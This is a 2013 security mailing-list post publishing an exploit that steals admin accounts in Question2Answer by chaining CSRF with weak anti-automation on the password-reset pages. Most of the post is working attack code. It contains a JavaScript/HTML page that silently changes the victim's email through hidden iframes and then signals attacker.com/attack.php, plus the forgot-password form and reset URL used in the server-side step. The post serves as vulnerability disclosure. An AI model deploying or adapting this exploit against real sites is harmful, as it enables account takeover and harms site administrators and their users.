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Exploit for stealing admin's account in Question2Answer
From: "MustLive" <mustlive () websecurity com ua>
Date: Thu, 7 Mar 2013 21:39:05 +0200

Hello!

Here is exploit for stealing admin's account in Question2Answer. This
exploit uses Cross-Site Request Forgery vulnerability at http://site/account
and Insufficient Anti-automation vulnerabilities at http://site/forgot and
http://site/reset, which I've described in the second advisory about
Question2Answer (http://websecurity.com.ua/6192/).

http://websecurity.com.ua/uploads/2013/Question2Answer%20Exploit.txt

It will work in all affected versions of Question2Answer (and second part of
the attack will work at default settings). If the admin of the target site
has changed default settings and setup captcha at http://site/forgot, then
server-side part of the attack can be done manually after conducting CSRF
attack.

Client-side part of exploit do the next (code provided bellow):

1. Changes e-mail of the user or admin via CSRF.
2. Start server-side part of exploit via request to attack.php.

Server-side part of exploit (attack.php) do the next (algorithm):

After receiving the signal from client-side part of exploit, attack.php do
the next:

1. Send POST request to http://site/forgot:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/forgot"; method="post">
<input type="hidden" name="emailhandle" value="email () attacker com">
<input type="hidden" name="doforgot" value="1">
</form>
</body>

2. Check mailbox for letter with the code:

Code: 4f84yl1d

This line contains code for resetting password.

3. Send GET request to http://site/reset with this code:

http://site/reset&c=4f84yl1d&e=email%40attacker.com

4. New password is sent to attacker's e-mail.

Code of client-side exploit for stealing admin's account in Question2Answer:

<html>
<head>
<title>Exploit for stealing admin's account in Question2Answer. Made by
MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=2;i++) {
 var ifr = document.createElement("iframe");
 ifr.setAttribute('name', 'csrf'+i);
 ifr.setAttribute('width', '0');
 ifr.setAttribute('height', '0');
 document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
}
function CSRF1() {
window.frames["csrf1"].document.body.innerHTML = '<form name="hack"
action="http://site/account"; method="post">\n<input type="hidden"
name="handle" value="test">\n<input type="hidden" name="email"
value="email () attacker com">\n<input type="hidden" name="messages"
value="1">\n<input type="hidden" name="mailings" value="1">\n<input
type="hidden" name="field_1" value="test">\n<input type="hidden"
name="field_2" value="test">\n<input type="hidden" name="field_3"
value="test">\n<input type="hidden" name="dosaveprofile"
value="1">\n</form>';
window.frames["csrf1"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf2"].document.body.innerHTML = '<form name="hack"
action="http://attacker.com/attack.php"; method="post">\n<input type="hidden"
name="do" value="1">\n</form>';
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

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